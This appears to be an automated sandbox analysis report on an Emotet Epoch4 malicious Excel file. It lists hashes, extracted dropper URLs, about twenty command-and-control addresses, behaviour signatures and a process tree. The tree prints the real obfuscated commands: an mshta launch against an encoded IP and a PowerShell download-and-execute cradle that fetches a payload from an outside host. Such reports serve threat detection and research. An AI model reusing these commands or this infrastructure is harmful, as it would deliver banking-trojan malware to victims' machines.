emotet | a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4

General

Target

a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls
Size

142KB
MD5

dbec7c9243ac15b3a8a655df66c73b36
SHA1

bc2363c0f1aeb0167b933b99ccfc2d26e24a795f
SHA256

a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4
SHA512

66108f0128d7d2fa1900d98c60a752699b1134b80d678754f1ad6989ab086f5c41075e598ae4e1442544731aceedf7d204a243db6209a09e9d6da28d9c256745

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3164	652	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
28	4016	mshta.exe
35	392	powershell.exe
37	392	powershell.exe
39	392	powershell.exe
49	1784	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2232	rundll32.exe
2164	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Llzmmsjeat\xewancjuj.zwb	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2096	4016	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
652	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
392	powershell.exe
392	powershell.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
2096	WerFault.exe
392	powershell.exe
1784	rundll32.exe
1784	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	2096	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 2120	652	EXCEL.EXE	72
PID 652 wrote to memory of 2120	652	EXCEL.EXE	72
PID 652 wrote to memory of 3164	652	EXCEL.EXE	73
PID 652 wrote to memory of 3164	652	EXCEL.EXE	73
PID 3164 wrote to memory of 4016	3164	cmd.exe	75
PID 3164 wrote to memory of 4016	3164	cmd.exe	75
PID 4016 wrote to memory of 392	4016	mshta.exe	77
PID 4016 wrote to memory of 392	4016	mshta.exe	77
PID 392 wrote to memory of 504	392	powershell.exe	80
PID 392 wrote to memory of 504	392	powershell.exe	80
PID 504 wrote to memory of 2232	504	cmd.exe	81
PID 504 wrote to memory of 2232	504	cmd.exe	81
PID 504 wrote to memory of 2232	504	cmd.exe	81
PID 2232 wrote to memory of 2164	2232	rundll32.exe	82
PID 2232 wrote to memory of 2164	2232	rundll32.exe	82
PID 2232 wrote to memory of 2164	2232	rundll32.exe	82
PID 2164 wrote to memory of 2708	2164	rundll32.exe	83
PID 2164 wrote to memory of 2708	2164	rundll32.exe	83
PID 2164 wrote to memory of 2708	2164	rundll32.exe	83
PID 2708 wrote to memory of 1784	2708	rundll32.exe	84
PID 2708 wrote to memory of 1784	2708	rundll32.exe	84
PID 2708 wrote to memory of 1784	2708	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2120
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:392
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:504
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2232
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2164
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Llzmmsjeat\xewancjuj.zwb",lhatJUQzXcxanH
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2708
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Llzmmsjeat\xewancjuj.zwb",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1784
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4016 -s 1868
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2096

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/392-378-0x0000023754610000-0x0000023754632000-memory.dmp

Filesize
136KB

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memory/392-389-0x000002376CBE3000-0x000002376CBE5000-memory.dmp

Filesize
8KB

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memory/392-415-0x000002376CBE6000-0x000002376CBE8000-memory.dmp

Filesize
8KB

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memory/392-410-0x000002376D290000-0x000002376D306000-memory.dmp

Filesize
472KB

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memory/392-399-0x000002376CE30000-0x000002376CE6C000-memory.dmp

Filesize
240KB

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memory/392-387-0x000002376CBE0000-0x000002376CBE2000-memory.dmp

Filesize
8KB

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memory/652-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-119-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

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memory/652-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

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memory/652-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-484-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-483-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

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64KB

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memory/652-482-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/652-481-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

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memory/1784-458-0x00000000055D0000-0x00000000055F6000-memory.dmp

Filesize
152KB

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memory/1784-460-0x00000000056D0000-0x00000000056F6000-memory.dmp

Filesize
152KB

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memory/1784-449-0x0000000004C00000-0x0000000004C26000-memory.dmp

Filesize
152KB

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memory/1784-454-0x0000000005410000-0x0000000005436000-memory.dmp

Filesize
152KB

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memory/1784-456-0x00000000054F0000-0x0000000005516000-memory.dmp

Filesize
152KB

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memory/2164-444-0x0000000005260000-0x0000000005286000-memory.dmp

Filesize
152KB

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memory/2164-448-0x00000000053C0000-0x00000000053E6000-memory.dmp

Filesize
152KB

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memory/2164-442-0x0000000005200000-0x0000000005226000-memory.dmp

Filesize
152KB

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memory/2164-440-0x0000000005070000-0x0000000005096000-memory.dmp

Filesize
152KB

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memory/2164-435-0x0000000003320000-0x0000000003346000-memory.dmp

Filesize
152KB

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memory/2232-433-0x0000000004880000-0x00000000048A6000-memory.dmp

Filesize
152KB

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Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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